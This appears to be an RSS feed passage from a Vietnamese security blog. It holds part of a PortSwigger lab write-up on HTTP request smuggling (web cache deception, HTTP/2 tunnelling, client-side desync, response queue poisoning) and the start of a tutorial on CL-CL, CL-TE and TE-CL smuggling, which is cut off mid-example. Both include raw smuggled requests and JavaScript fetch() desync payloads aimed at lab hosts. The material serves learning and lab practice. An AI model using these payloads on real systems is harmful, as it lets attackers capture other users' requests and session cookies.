alt="image" src="https://github.com/user-attachments/assets/c8851103-9b9c-428b-8e94-0cef7cc344d8"><img width="1022" alt="image" src="https://github.com/user-attachments/assets/fc621c22-0bf7-4200-a7e5-7066c5413d3a"><p>Trigger được 404 not found với payload sau:</p><img width="718" alt="image" src="https://github.com/user-attachments/assets/6618467f-9d37-47dd-8d06-19d8627ff539"><p>Bypass double Host header:<br><img width="714" alt="image" src="https://github.com/user-attachments/assets/16910251-5065-4dcb-b96c-6498a248b014"></p><img width="718" alt="image" src="https://github.com/user-attachments/assets/0aade78d-0f31-431c-ac3e-f03f7c36e66c"><p>Bây giờ ta cần tìm một sink để có thể chuyển hướng về trang chứa script xss, ở tính năng next post ta có thể redirect:</p><img width="829" alt="image" src="https://github.com/user-attachments/assets/ee2e14ba-2ed3-4958-8356-0e777f635250"><p>Ở phía server, yêu cầu sẽ không bị phụ thuộc vào trường host, nên dù có hay không thì nó vẫn request đến đúng địa chỉ server.</p><img width="823" alt="image" src="https://github.com/user-attachments/assets/bc52109c-3be6-402f-afb2-77e297749566"><img width="718" alt="image" src="https://github.com/user-attachments/assets/1114a041-936d-4451-a31f-dfe33610700c"><img width="717" alt="image" src="https://github.com/user-attachments/assets/12342e7c-4138-4ffd-83e9-49a277e1ff67"><img width="719" alt="image" src="https://github.com/user-attachments/assets/1d83ce73-3bc0-4ca8-8aba-e9772c0c63fe"><img width="721" alt="image" src="https://github.com/user-attachments/assets/7ee8bf74-b2a4-4f52-9b50-59091fff2fab"><img width="914" alt="image" src="https://github.com/user-attachments/assets/e3e51eb7-178d-49ba-a67d-5fadb4dc0f76"><h3 id="Exploiting-HTTP-request-smuggling-to-perform-web-cache-deception"><a href="#Exploiting-HTTP-request-smuggling-to-perform-web-cache-deception" class="headerlink" title="Exploiting HTTP request smuggling to perform web cache deception"></a>Exploiting HTTP request smuggling to perform web cache deception</h3><p><img src="https://github.com/user-attachments/assets/60d8e2bc-406d-477d-8d87-5ca946aaef4c" alt="image"></p><blockquote><p>&#x3D;&gt; CL.TE</p></blockquote><p><img src="https://github.com/user-attachments/assets/a2c87a97-74e8-4a61-9407-b9a212a4ac82" alt="image"></p><p>Trang web có thực hiện caching các file thường đa số người dùng đều nhập giống nhau như blog.svg hay tracking.js:<br><img src="https://github.com/user-attachments/assets/26e22d71-0f5d-417f-aa9b-83c0ec054c03" alt="image"><br><img src="https://github.com/user-attachments/assets/497941be-f2d6-419c-a5ed-6e1e6a78921f" alt="image"></p><p>Vậy bây giờ ta smuggle các request nhập blog.svg hay tracking.js thì ta có thể truy xuất api key từ kết quả trả về được smuggle và lưu vào cache tương ứng với các file này.</p><p>Như ở đây, mình thực hiện smuggling request đến my account. Bây giờ request trả về ở những file khi bot request là response 302, nên gửi kiểu gì nó cũng trả về:<br><img src="https://github.com/user-attachments/assets/af42cdac-cc53-479c-8011-4591ee6c1412" alt="image"></p><p>Vậy bây giờ chỉ cần cầu may cho bot request đúng lúc, ta có thể double cơ hội thành công bằng cách check cache của 2 file blog.svg và tracking.js<br><img src="https://github.com/user-attachments/assets/9b05181d-5392-4f9e-86a8-71b025a4f156" alt="image"></p><p><img src="https://github.com/user-attachments/assets/3afefad5-0ad8-4690-90da-accad4719bea" alt="image"></p><p>Kết quả:<br><img src="https://github.com/user-attachments/assets/870fe578-f31b-4aa1-bbd5-57b31c0a827e" alt="image"></p><h3 id="Bypassing-access-controls-via-HTTP-x2F-2-request-tunnelling"><a href="#Bypassing-access-controls-via-HTTP-x2F-2-request-tunnelling" class="headerlink" title="Bypassing access controls via HTTP&#x2F;2 request tunnelling"></a>Bypassing access controls via HTTP&#x2F;2 request tunnelling</h3><p>Connection timeout có nghĩa ta đã giả được host.<br><img src="https://github.com/user-attachments/assets/eb047c76-0f95-496b-ad34-5e36e73b5b9d" alt="image"></p><p><img src="https://github.com/user-attachments/assets/383d4b60-63d9-4bec-b21f-e9f49defae9d" alt="image"></p><p>Request được downgrade trông như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Foo: bar</span><br><span class="line">Host: abc</span><br><span class="line">Content-Length: <span class="number">200</span></span><br><span class="line"></span><br><span class="line">search=x</span><br><span class="line">some-internal-header: xxx</span><br><span class="line">Host: abc</span><br><span class="line">Content-length: <span class="number">7</span></span><br><span class="line"></span><br><span class="line">foo=bar</span><br></pre></td></tr></table></figure><p><img src="https://github.com/user-attachments/assets/7965f2f6-f3af-41e2-bc84-33fe174cbeb0" alt="image"></p><p><img src="https://github.com/user-attachments/assets/df8830b8-7854-4904-9741-3fd9a7ce0055" alt="image"><br><img src="https://github.com/user-attachments/assets/2051db01-a0ba-46aa-84b6-8ae8e191939c" alt="image"><br><img src="https://github.com/user-attachments/assets/a97765f6-8dd8-4809-b7f7-2439d791fc89" alt="image"><br><img src="https://github.com/user-attachments/assets/2cc8c5fe-a05e-4d6a-8678-9ff295b61339" alt="image"><br><img src="https://github.com/user-attachments/assets/b3869574-50c4-44ff-b3be-377071a27eab" alt="image"><br><img src="https://github.com/user-attachments/assets/f406711d-cee0-46c7-a242-39cee743a933" alt="image"></p><h3 id="Client-side-desync"><a href="#Client-side-desync" class="headerlink" title="Client-side desync"></a>Client-side desync</h3><p>Request đến &#x2F; sẽ được redirect đến &#x2F;en:</p><p><img src="https://github.com/user-attachments/assets/c945bf51-75f8-4548-b2d5-9df80eef97db" alt="image"></p><p>Gửi 2 request với chung connection ta được trả về 2 response:</p><p><img src="https://github.com/user-attachments/assets/68deb040-e8ca-41d2-9ea0-49494faf59f2" alt="image"></p><p>Nếu ta thực hiện gửi trong browser với request 2 là một request bất kỳ thì response 2 do request &#x2F;404 sẽ trả về ở request 2.<br><img src="https://github.com/user-attachments/assets/4d81e4a1-0110-409d-b907-f581d7339dcd" alt="image"></p><p>Test trên browser:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;https://0acd00850382348282f40b8800320096.h1-web-security-academy.net&#x27;</span>, &#123;</span><br><span class="line">  <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">  <span class="attr">body</span>: <span class="string">&#x27;GET /404 HTTP/1.1\r\na: x&#x27;</span>,</span><br><span class="line">  <span class="attr">mode</span>: <span class="string">&#x27;cors&#x27;</span>,</span><br><span class="line">  <span class="attr">credentials</span>: <span class="string">&#x27;include&#x27;</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="title function_">fetch</span>(<span class="string">&#x27;https://0acd00850382348282f40b8800320096.h1-web-security-academy.net&#x27;</span>, &#123;</span><br><span class="line">        <span class="attr">mode</span>: <span class="string">&#x27;no-cors&#x27;</span>,</span><br><span class="line">        <span class="attr">credentials</span>: <span class="string">&#x27;include&#x27;</span></span><br><span class="line">    &#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p><img src="https://github.com/user-attachments/assets/9b5af0c4-89fd-4023-aa93-2bcca4eef78e" alt="image"></p><p>Browser chỉ trả về mỗi response cho mỗi request, do đó ta chưa thấy 404 ở đây.</p><p><img src="https://github.com/user-attachments/assets/07cd11c7-e4bd-4b24-a112-58f2adbcb6c7" alt="image"></p><p>Tuy nhiên nếu ta gửi tiếp một yêu cầu nữa thì 404 trả về cho fetch thứ 2:</p><p><img src="https://github.com/user-attachments/assets/0f7eb80f-35e0-495a-b5fe-f02f39242667" alt="image"><br><img src="https://github.com/user-attachments/assets/7495c479-9c2b-49e2-8891-d500dee31a0c" alt="image"></p><p>Test với request comment:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net&#x27;</span>, &#123;</span><br><span class="line">  <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">  <span class="attr">body</span>: <span class="string">&#x27;POST /en/post/comment HTTP/1.1\r\nHost: 0ad0005104751f1180db490d002d0023.h1-web-security-academy.net\r\nCookie: session=RbiCFsRMKOANwQDqEBbH7J4Px0hw8Hpd; _lab_analytics=RXgpmFuGrXRwxeCPhqtzXcoPdTECdBr2TXfCUncCwVUGN5ock8H3FVR8PwpPguRzjZ7DZuQRi5dVaaO06abvpuXbi4qBOPWyM31HPPwFuzpmCWlWu4UtIlXZs9PM9cGtfL4n11wMuNUYOwnASLatFxzmNcx9BFLwllanIw1OvtxweZ3qQVUfJNmwtxJ1BnaH4bsYIs780ucZE5FiHdpROtCulXJzmEUERnUTD4bR4Eeb4njCNWUYlkHKE6DiiFix\r\nContent-Length: 700\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=9FHBQE0Og5LLEGNcV4yJTV1QhSRYz9sY&amp;postId=8&amp;name=a&amp;email=a%40a&amp;website=http%3A%2F%2Fa&amp;comment=&#x27;</span>,</span><br><span class="line">  <span class="attr">mode</span>: <span class="string">&#x27;cors&#x27;</span>,</span><br><span class="line">  <span class="attr">credentials</span>: <span class="string">&#x27;include&#x27;</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="title function_">fetch</span>(<span class="string">&#x27;https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net/&#x27;</span>, &#123;</span><br><span class="line">        <span class="attr">mode</span>: <span class="string">&#x27;no-cors&#x27;</span>,</span><br><span class="line">        <span class="attr">credentials</span>: <span class="string">&#x27;include&#x27;</span></span><br><span class="line">    &#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>Bắt được thành công request thứ 3.</p><p><img src="https://github.com/user-attachments/assets/b9bbec7e-917f-4756-8e29-e90098b36ccd" alt="image"></p><p><img src="https://github.com/user-attachments/assets/f5fab529-8bb3-4556-9438-c931df7f52e4" alt="image"></p><p><img src="https://github.com/user-attachments/assets/da4c340a-b9a4-4dd7-b15d-057ab48b00eb" alt="image"></p><p><img src="https://github.com/user-attachments/assets/8c1df2f6-1511-4d3d-a375-6e347d9b73c5" alt="image"><br><img src="/.io//image.png" alt="alt text"></p><p><img src="https://github.com/user-attachments/assets/a17eb803-a232-4657-bebe-bc060cde0d13" alt="image"><br><img src="https://github.com/user-attachments/assets/0b2910c7-b940-4ff0-923e-33304f87d859" alt="image"><br><img src="https://github.com/user-attachments/assets/d59f1cde-e395-4542-83bc-b35b516ce493" alt="image"></p><h3 id="Response-queue-poisoning-via-H2-TE-request-smuggling-1"><a href="#Response-queue-poisoning-via-H2-TE-request-smuggling-1" class="headerlink" title="Response queue poisoning via H2.TE request smuggling"></a>Response queue poisoning via H2.TE request smuggling</h3><p>Server queue response nên ta có thể capture được response mà admin login trả về, từ đó lấy cookie của admin.</p><p><img src="https://github.com/user-attachments/assets/f6bfecfe-c49a-4ed5-8a21-09d62f4b2b7f" alt="image"></p><p><img src="https://github.com/user-attachments/assets/37e31c27-c79c-4c94-95b6-bf1864c31be1" alt="image"></p><p><img src="https://github.com/user-attachments/assets/1f0e0b4d-6ca2-4cd8-a74d-4fa4fff48331" alt="image"></p><p><img src="https://github.com/user-attachments/assets/9bf10cd2-ad86-4c03-90ac-19b60e4e0b3b" alt="image"></p><h3 id><a href="#" class="headerlink" title></a></h3>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/HTTP-Request-Smuggling/">HTTP Request Smuggling</category>
      
      <category domain="https://rayinaw.github.io/categories/HTTP-Request-Smuggling/Portswigger/">Portswigger</category>
      
      
      <category domain="https://rayinaw.github.io/tags/HRS/">HRS</category>
      
      <category domain="https://rayinaw.github.io/tags/Portswigger/">Portswigger</category>
      
      
      <comments>https://rayinaw.github.io/2022/12/02/HRS-PortSwigger/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Khái niệm cơ bản về HTTP request smuggling với HTTP/1.1</title>
      <link>https://rayinaw.github.io/2022/11/30/http-request-smuggling-HTTP-1.1/</link>
      <guid>https://rayinaw.github.io/2022/11/30/http-request-smuggling-HTTP-1.1/</guid>
      <pubDate>Wed, 30 Nov 2022 03:36:10 GMT</pubDate>
      
        
        
      <description>&lt;h1 id=&quot;Loi-noi-dau&quot;&gt;&lt;a href=&quot;#Loi-noi-dau&quot; class=&quot;headerlink&quot; title=&quot;Lời nói đầu:&quot;&gt;&lt;/a&gt;Lời nói đầu:&lt;/h1&gt;&lt;p&gt;Bài viết này là về khái niệm và </description>
        
      
      
      
      <content:encoded><![CDATA[<h1 id="Loi-noi-dau"><a href="#Loi-noi-dau" class="headerlink" title="Lời nói đầu:"></a>Lời nói đầu:</h1><p>Bài viết này là về khái niệm và cách HRS xảy ra đối với HTTP&#x2F;1.1, với HTTP&#x2F;2.0 và thực hành các bạn có thể xem ở bài viết sau.</p><h1 id="Mot-vai-kien-thuc-can-nam"><a href="#Mot-vai-kien-thuc-can-nam" class="headerlink" title="Một vài kiến thức cần nắm:"></a>Một vài kiến thức cần nắm:</h1><h2 id="Keep-Alive-va-Pipelining"><a href="#Keep-Alive-va-Pipelining" class="headerlink" title="Keep-Alive và Pipelining:"></a>Keep-Alive và Pipelining:</h2><p>Keep-Alive và Pipelining được giới thiệu trong RFC-2616:<br><code>Keep-Alive</code> cho phép một kết nối TCP giữa Client và Server được tiếp tục gửi và nhận HTTP requests và responses thay vì mở lại kết nối sau mỗi lần Client yêu cầu. Theo như mình thấy thì một số server sẽ set out timeout cho một kết nối keep-alive, sau khi user 1 yêu cầu đến server và server gửi response về, kết nối vẫn được mở và user khác có thể sử dụng kết nối này. Để bật mode Keep-Alive chúng ta cần thêm trường <code>Connection: Keep-Alive</code> vào request.</p><p><code>Pipelining</code> cho phép client gửi nhiều yêu cầu HTTP một lúc mà không cần đợi phản hồi của server thông qua một kết nối TCP được mở, server sẽ phản hồi theo thứ tự mà request được gửi đi. Để bật mode Pipeline chúng ta cần thêm trường <code>Connection: Pipelining</code> vào request.</p><h2 id="Content-Length-va-Transfer-Encoding"><a href="#Content-Length-va-Transfer-Encoding" class="headerlink" title="Content-Length và Transfer-Encoding:"></a>Content-Length và Transfer-Encoding:</h2><h3 id="Content-Length"><a href="#Content-Length" class="headerlink" title="Content-Length:"></a>Content-Length:</h3><p>Đối với một yêu cầu POST, bắt buộc phải có 1 hoặc hơn trong 3 phương thức <code>Content-Length</code>, <code>Transfer-Encoding</code>, <code>Content-Type</code> và đương nhiên nó phải đúng định dạng.</p><p><code>Content-Length</code> đề cập đến kích thước phần body của một yêu cầu HTTP tính bằng byte. Nếu một tệp văn bản được nén, thì Content-Length của nó sẽ là kích thước được nén. Tiêu đề <code>Content-Length</code> chỉ có ở POST request vì nó có trường nội dung còn GET request thì không.</p><h3 id="Transfer-Encoding"><a href="#Transfer-Encoding" class="headerlink" title="Transfer-Encoding:"></a>Transfer-Encoding:</h3><p><code>Transfer-Encoding</code> chỉ ra kiểu truyền tải nào được sử dụng để truyền tải nội dung(phần body). Transfer-Encoding có nhiều kiểu truyền tải, nhưng với lỗi HRS chúng ta chỉ cần chú ý đến phương thức <code>Transfer-Encoding: chunked</code>.</p><p>Với <code>Transfer-Encoding: chunked</code> Dữ liệu body sẽ được truyền theo từng khối. Bắt đầu bởi một số hex biểu thị số byte của nội dung đầu tiên, tiếp theo sau là data. Tiếp đến là lần lượt những đoạn hex, data như vậy. Để kết thúc nội dung byte cuối cùng sẽ là 0 và theo sau là \r\n. Một \r\n được gọi là một CRLF, độ dài không bao gồm CRLF. Ví dụ:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Nguồn wiki.</span><br><span class="line"><span class="number">4</span>\r\<span class="title function_ invoke__">n</span>        (bytes to send)</span><br><span class="line">Wiki\r\<span class="title function_ invoke__">n</span>     (data)</span><br><span class="line"><span class="number">6</span>\r\<span class="title function_ invoke__">n</span>        (bytes to send)</span><br><span class="line">pedia \r\<span class="title function_ invoke__">n</span>   (data)</span><br><span class="line">E\r\<span class="title function_ invoke__">n</span>        (bytes to send)</span><br><span class="line">in \r\n</span><br><span class="line">\r\n</span><br><span class="line">chunks.\r\<span class="title function_ invoke__">n</span>  (data)</span><br><span class="line"><span class="number">0</span>\r\<span class="title function_ invoke__">n</span>        (<span class="keyword">final</span> byte - <span class="number">0</span>)</span><br><span class="line">\r\<span class="title function_ invoke__">n</span>         (end message)</span><br></pre></td></tr></table></figure><p>Ở phương thức Transfer-Encoding chúng ta cần nắm cách đếm byte:</p><ul><li>Nếu dữ liệu trên 1 dòng thì không cần đếm \r\n sau nó.</li><li>Nếu dữ liệu nhiều dòng như dòng <code>E\r\n (bytes to send)</code> ở trên thì chúng ta cần đếm hết kể cả \r \n (lưu ý \r hay \n chỉ tính là 1 byte), ở dòng cuối cùng của khối data này có \r\n chúng ta sẽ không đếm nó vào.</li><li>Sau đó chuyển độ dài thành số hex tương ứng.<blockquote><p>Tham khảo thêm về Content-Length và Transfer-Encoding ở RFC-7230.</p></blockquote></li></ul><h2 id="Reverse-proxy"><a href="#Reverse-proxy" class="headerlink" title="Reverse proxy:"></a>Reverse proxy:</h2><p>Reverse Proxy là một loại proxy server, nó đóng vai trò là một server trung gian. Nó tiếp nhận yêu cầu từ user, rồi chuyển tiếp đến các máy chủ khác xử lý yêu cầu đó rồi trả về cho người dùng. Người dùng ở đây chỉ giao tiếp với reverse proxy server mà không biết về sự tồn tại của máy chủ khác.<br>Cấu trúc của một request từ user đến một máy chủ có tồn tại reverse proxy như sau:</p><ul><li><p>user — request —&gt; reverse proxy — request—&gt; back-end server</p></li><li><p>user &lt;— response — reverse proxy &lt;— response — back-end server</p></li></ul><h2 id="Khai-niem-web-cache"><a href="#Khai-niem-web-cache" class="headerlink" title="Khái niệm web cache:"></a>Khái niệm web cache:</h2><p>Web cache sinh ra để nâng cao trải nghiệm người dùng. Khi người dùng yêu cầu như những dữ liệu như HTML, CSS, Javascript, image,…, server có thể sẽ lưu vào web cache để không phải thực hiện lại những truy vấn để lấy những dữ liệu đó, giúp cho việc lấy dữ liệu nhanh hơn, đỡ tốn tài nguyên hơn cho người dùng.</p><h3 id="Co-mot-so-loai-web-cache-nhu-sau"><a href="#Co-mot-so-loai-web-cache-nhu-sau" class="headerlink" title="Có một số loại web cache như sau:"></a>Có một số loại web cache như sau:</h3><p>Web cache ở phía browser: Sau khi người dùng thực hiện request lần đầu tiên đến server, nếu server hỗ trợ cache ở browser người dùng, dữ liệu sẽ được lưu vào cache ở browser của người dùng (nên xóa lịch sử web hay có mục cache). Khi người dùng request những lần tiếp theo tương tự như yêu cầu đầu tiên, browser chỉ cần lấy từ cache của browser để render ra cho người dùng.</p><p>Web cache phía Proxy Server: Nó thường là CDN caching. Nó hoạt động tương tự như browser caching tuy nhiên nơi lưu trữ cache ở đây là CDN server trên toàn thế giới. Ở đây nhiều user có thể dùng chung cache từ server gửi đến máy chủ CDN. Cách hoạt động các bạn có thể tham khảo thêm ở <a href="https://viblo.asia/p/cdn-content-delivery-network-caching-Qpmle2O75rd">đây</a>.</p><p>Web cache phía Reverse Proxy server: Cũng hoạt động tương tự như hai kiểu trên, tuy nhiên cache được lưu trữ ở phía Reverse Proxy.</p><p>Video tham khảo thêm về web cache:</p><div class="video-container"><iframe src="https://www.youtube.com/embed/HiBDZgTNpXY" frameborder="0" loading="lazy" allowfullscreen></iframe></div> <h2 id="Yeu-cau-cua-loi-HRS"><a href="#Yeu-cau-cua-loi-HRS" class="headerlink" title="Yêu cầu của lỗi HRS:"></a>Yêu cầu của lỗi HRS:</h2><p>Để một lỗi HRS xảy ra, trang web cần đáp ứng những yêu cầu sau:</p><ul><li>Trang web bao gồm hai máy chủ front-end (reverse proxy) và máy chủ back-end.</li><li>Máy chủ phải hỗ trợ Keep-Alive hoặc Pipelining để yêu cầu có thể gắn với yêu cầu của nạn nhân (Nếu bạn không hiểu thì cứ bỏ qua, đọc phần sau sẽ hiểu)</li><li>Máy chủ front-end và back-end phân tích các trường <code>Transfer-Encoding</code>, <code>Content-Length</code> không nghiêm ngặt khiến cho quá trình phân tích mắc sai lầm phát sinh lỗi.</li></ul><h1 id="HTTP-request-smuggling-o-HTTP-x2F-1-1"><a href="#HTTP-request-smuggling-o-HTTP-x2F-1-1" class="headerlink" title="HTTP request smuggling ở HTTP&#x2F;1.1"></a>HTTP request smuggling ở HTTP&#x2F;1.1</h1><h2 id="CL-Content-Length-khong-bang-0-va-gia-mao-Body"><a href="#CL-Content-Length-khong-bang-0-va-gia-mao-Body" class="headerlink" title="CL (Content-Length) không bằng 0 và giả mạo Body:"></a>CL (Content-Length) không bằng 0 và giả mạo Body:</h2><p>Máy chủ proxy cho phép yêu cầu GET mang nội dung, nhưng máy chủ phía sau không cho phép mang nội dung trong GET request, khi này máy chủ phía sau sẽ trực tiếp bỏ trường Content-Length và không xử lý nó. Từ đây nó sẽ phát sinh ra lỗi HRS.</p><p>Ví dụ một request như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">GET / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">Content-Length: <span class="number">44</span>\r\n</span><br><span class="line"> </span><br><span class="line">GET /secret HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">\r\n</span><br></pre></td></tr></table></figure><p>Máy chủ Proxy nhận được yêu cầu, do máy chủ proxy cấu hình sai nên GET request được mang body giả mạo của mình. Sau đó nó sẽ chuyển đến máy chủ phía sau, tại đây nó không chấp nhận trường Content-Length nên nó loại bỏ tạo thành 2 request. Và nếu máy chủ có sử dụng <code>pipelining</code>, nó sẽ xem như là hai yêu cầu riêng biệt.<br>Yêu cầu thứ nhất:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br></pre></td></tr></table></figure><p>Yêu cầu thứ hai:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /secret HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br></pre></td></tr></table></figure><h2 id="CL-CL"><a href="#CL-CL" class="headerlink" title="CL-CL:"></a>CL-CL:</h2><p>Kĩ thuật tấn công CL-CL là một yêu cầu HTTP chứa 2 trường Content-Length. Theo <a href="https://www.rfc-editor.org/rfc/rfc7230#section-3.3.3">RFC-7230</a>, nếu máy chủ nhận được hai yêu cầu Content-Length và giá trị của 2 yêu cầu đó khác nhau thì nó sẽ trả về lỗi 400. Tuy nhiên đôi lúc sẽ có những máy chủ không tuân thủ nghiêm ngặt thông số này và dẫn đến HRS.</p><p>Giả sử một kịch bản tấn công sẽ là cả máy chủ proxy và máy chủ gốc đều không trả về lỗi 400, và máy chủ proxy sử dụng trường <code>Content-Length</code> đầu tiên và máy chủ gốc sử dụng trường <code>Content-Length</code> thứ hai.</p><p>Ví dụ một request như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">Content-Length: <span class="number">8</span>\r\n</span><br><span class="line">Content-Length: <span class="number">7</span>\r\n</span><br><span class="line"> </span><br><span class="line"><span class="number">12345</span>\r\n</span><br><span class="line">a</span><br></pre></td></tr></table></figure><p>Phân tích:</p><ul><li>Máy chủ proxy nhận <code>Content-Length: 8\r\n</code>, dòng thứ 5 trống là một dòng thông thường của yêu cầu POST nên không tính vào phần nội dung, <code>12345 + \r + \n + a = 8 bytes</code> thõa mãn với trường <code>Content-Length</code>nên nó chuyển tiếp yêu cầu đến máy chủ back-end.</li><li>Máy chủ Back-End nhận trường <code>Content-Length: 7\r\n</code>, sau khi đọc 7 kí tự đầu tiên là hết dòng thứ 6, máy chủ Back-End cho rằng quá trình đọc đã hoàn thành sau đó gửi response về cho client. Lúc này trong bộ đệm còn một kí tự <code>a</code>, máy chủ back-end sẽ xem như đây là một phần của yêu cầu (request) tiếp theo.</li></ul><p>Bây giờ giả sử như có một người dùng khác gửi một yêu cầu đến máy chủ:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /index.html HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br></pre></td></tr></table></figure><p>Dựa trên việc sử dụng lại kết nối TCP giữa máy chủ proxy và máy chủ back-end, <code>a</code> sẽ được kết hợp với yêu cầu này để tạo thành một yêu cầu mới:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">aGET /index.html HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br></pre></td></tr></table></figure><p>Lúc này tại máy khách sẽ nhận được một lỗi <code>aGET request method not found</code>, cho chúng ta biết được rằng HRS đã xảy ra.</p><h2 id="CL-TE"><a href="#CL-TE" class="headerlink" title="CL-TE"></a>CL-TE</h2><p>Trong trường hợp này, máy chủ Front-End sử dụng <code>Content-Length</code> và máy chủ Back-End sử dụng <code>Transfer-Encoding</code>.</p><p>Giả sử một yêu cầu như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">Connection: keep-alive\r\n</span><br><span class="line">Content-Length: <span class="number">6</span>\r\n</span><br><span class="line">Transfer-Encoding: chunked\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">a</span><br></pre></td></tr></table></figure><p>Máy chủ Front-End nhận trường <code>Content-Length: 6\r\n</code>, dòng thứ 6 không tính vào <code>Content-Length</code>, dòng 7-9 có <code>0 + \r\n + \r\n + a = 6 bytes</code> thõa mãn, nên yêu cầu được chuyển đến máy chủ back-end.<br>Máy chủ Back-End nhận <code>Transfer-Encoding: chunked\r\n</code>, khi nhận được cờ <code>0\r\n</code> và dòng sau là <code>\r\n</code> máy chủ sẽ xem như là phần body đã kết thúc và lúc này kí tự a vẫn còn nằm trong bộ đệm.</p><p>Tương tự như CL-CL nếu bây giờ có một yêu cầu gửi đến:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br></pre></td></tr></table></figure><p>Nó sẽ gộp kí tự <code>a</code> với request này thành:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">aPOST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br></pre></td></tr></table></figure><p>Và client sẽ nhận lỗi <code>Unrecognized method aPOST</code> có nghĩa là HRS đã xảy ra.</p><h2 id="TE-CL"><a href="#TE-CL" class="headerlink" title="TE-CL"></a>TE-CL</h2><p>Máy chủ Front-End sử dụng tiêu đề <code>Transfer-Encoding</code>, máy chủ Back-End sử dụng tiêu đề <code>Content-Length</code>.<br>Xét request như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: example.com\r\n</span><br><span class="line">Content-Length: <span class="number">4</span>\r\n</span><br><span class="line">Transfer-Encoding: chunked\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">12</span>\r\n</span><br><span class="line">aPOST / HTTP/<span 